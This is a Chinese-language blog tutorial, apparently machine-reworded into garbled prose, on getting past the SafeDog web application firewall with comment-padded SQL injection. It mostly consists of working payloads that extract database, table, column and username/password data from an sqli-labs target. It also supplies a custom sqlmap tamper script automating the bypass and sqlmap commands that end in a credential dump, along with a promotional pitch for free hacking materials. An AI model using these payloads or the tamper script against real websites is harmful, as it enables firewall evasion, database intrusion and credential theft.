安全狗实在是比较好绕的WAF,绕过方法很多,但这里我们就用一种:注释稠浊
一招鲜吃遍天下

注释稠浊,实在便是在敏感位置添加垃圾字符注释,常用的垃圾字符有/、!、、%等
这里再阐明一下内联注释,由于后面要用到:
MySQL内联注释: /!xxxxxxx/ !后面的语句会当作SQL语句直接实行
但是如果!后面随着MySQL版本号,那么就会涌现两种情形
1. 当!后面接的数据库版本号小于自身版本号,就会将注释中的内容实行
2. 当!后面接的数据库版本号大于即是自身版本号,就会当做注释来处理。
【----帮助网安学习,须要网安学习资料关注我,私信回答“资料”免费获取----】① 网安学习发展路径思维导图② 60+网安经典常用工具包③ 100+SRC漏洞剖析报告④ 150+网安攻防实战技能电子书⑤ 最威信CISSP 认证考试指南+题库⑥ 超1800页CTF实战技巧手册⑦ 最新网安大厂口试题合集(含答案)⑧ APP客户端安全检测指南(安卓+IOS)
数据库版本号以五位数字表示,比如当前环境下数据库版本号表示为:50553
!后面接小于50553的:
实行了select 1;
!后面接大于即是50553的:
实行了 select ;
下面进入正题
bypassandand 1=1拦
但是把空格删掉就不拦了
以是,我们认为,and后面不能直接跟空格...
那么如果用其他形式表示空格呢?
前面说了,我们这次只利用注释稠浊:
burp,抓包设置
长度5335是被拦截的
长度为899的解释成功绕过
我们选择个中一个作为空格的替代者就好了,这里我们选择/%
即:->//%/
同理 ,or是一样的:
order by
测试创造还是只要更换order by中间的空格就可以了,以是绕过方法和前面一样:
union select
union select利用之前的垃圾字符更换空格创造弗成了:
但是先不急于换方法,再爆破一遍试试:
创造又有很多可以绕过的了。
以是我们再变动一下更换空格的垃圾字符, 这里选//!%!//
即:->//!%!//
获得当前数据库
正常语句:
?id=-1 union select 1,database(),3 --+
绕过:
即:()->(//!%!//)
获取数据库中的表正常语句:
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
绕过:
经由测试创造拦截的是select + from + information_schema的组合
中间加垃圾字符更换空格已经不管用了,我们考试测验对关键字进行稠浊。
对information_schema进行稠浊测试:
首先利用内联注释,创造,这里的版本号不管写啥,都直接被拦。
考虑是检测了select + from + /! + information_schema的组合
加个换行试试
还是弗成...
那既然都换行了,那我们再在换行前加一些垃圾字符:
如果我们直接插入垃圾字符,会当作SQL语句实行,以是前面还须要在垃圾字符前加个注释,可以是 //或#或--+
但是经由测试只有 --+好用
有这么多可以绕过的,我们随便选择一个,比如/%/
这样,终极语句如下:
?id=-1//!%!//union//!%!//select//!%!//1,group_concat(table_name),3//!%!//from//!%!///!00000--+/%/%0ainformation_schema.tables/%20where%20table_schema=database(//!%!//)--%20+
获取表字段
正常语句:
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
绕过语句:
?id=-1//!%!//union//!%!//select//!%!//1,group_concat(column_name),3//!%!//from//!%!///!00000--+/%/%0ainformation_schema.columns/%20where%20table_name=0x7573657273--%20+
?id=-1//!%!//union//!%!//select//!%!//1,//!%!//group_concat(username,0x2f,password),3//!%!//from//!%!//users
成功。
编写tamper当我们下载了SQLMap,解压后,我们可以找到文件夹【tamper】,该文件夹有很多个Tamper脚本帮助我们绕过一些安全防护:
网上有很多干系脚本的先容,我就不一一先容了。
虽然SQLMap供应了这么多的Tamper脚本,但是在实际利用的过程中,网站的安全防护并没有那么大略,可能过滤了许多敏感的字符以及干系的函数。这个时候就须要我们针对目标的防护体系构建相应的Tamper脚本。
Tamper相称于一个加工车间,它会把我们的Payload进行加工之后发往目标网站。
我们随便打开一个Tamper脚本看一下它的构造:
#apostrophemask.py#!/usr/bin/env python"""Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)See the file 'LICENSE' for copying permission"""# 导入SQLMap中lib\core\enums中的PRIORITY优先级函数from lib.core.enums import PRIORITY# 定义脚本优先级__priority__ = PRIORITY.LOWEST# 对当前脚本的先容def dependencies(): pass'''对传进来的payload进行修正并返回函数有两个参数。紧张变动的是payload参数,kwargs参数用得不多。'''def tamper(payload, kwargs): """ Replaces apostrophe character (') with its UTF-8 full width counterpart (e.g. ' -> %EF%BC%87) References: http://www.utf8-chartable.de/unicode-utf8-table.pl?start=65280&number=128 https://web.archive.org/web/20130614183121/http://lukasz.pilorz.net/testy/unicode_conversion/ https://web.archive.org/web/20131121094431/sla.ckers.org/forum/read.php?13,11562,11850 https://web.archive.org/web/20070624194958/http://lukasz.pilorz.net/testy/full_width_utf/index.phps >>> tamper("1 AND '1'='1") '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871' """ return payload.replace('\'', "%EF%BC%87") if payload else payload
可见Tamper脚本的构造非常大略,实在渗透测试中的紧张难点还是如何去绕过WAF。
下面我们针对bypass部分的绕过方法进行编写Tamper脚本,来实现自动化SQL注入:
实际测试的时候创造,sqlmap默认语句中的AS关键字也会被拦截,这里也用同样的方法更换一下就好
#!/usr/bin/env pythonimport refrom lib.core.settings import UNICODE_ENCODINGfrom lib.core.enums import PRIORITY__priority__ = PRIORITY.NORMALdef dependencies(): passdef tamper(payload, kwargs): if payload: payload = payload.replace(" ","//!%!//") payload = payload.replace("()","(//!%!//)") payload = re.sub(r"(?i)(INFORMATION_SCHEMA.SCHEMATA)",r"/!00000--%20/%/%0aINFORMATION_SCHEMA.SCHEMATA/",payload) payload = re.sub(r"(?i)(INFORMATION_SCHEMA.TABLES)",r"/!00000--%20/%/%0aINFORMATION_SCHEMA.TABLES/",payload) payload = re.sub(r"(?i)(INFORMATION_SCHEMA.COLUMNS)",r"/!00000--%20/%/%0aINFORMATION_SCHEMA.COLUMNS/",payload) payload = re.sub(r"(?i)(/AS/)",r"//!00000--%20/%/%0aAS//",payload) return payload
测试:
sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent
sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent --dbs
sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent -D security --tables
python2 sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent -D security -T users --columns
sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent -D security -T users -C username,password --dump --stop 3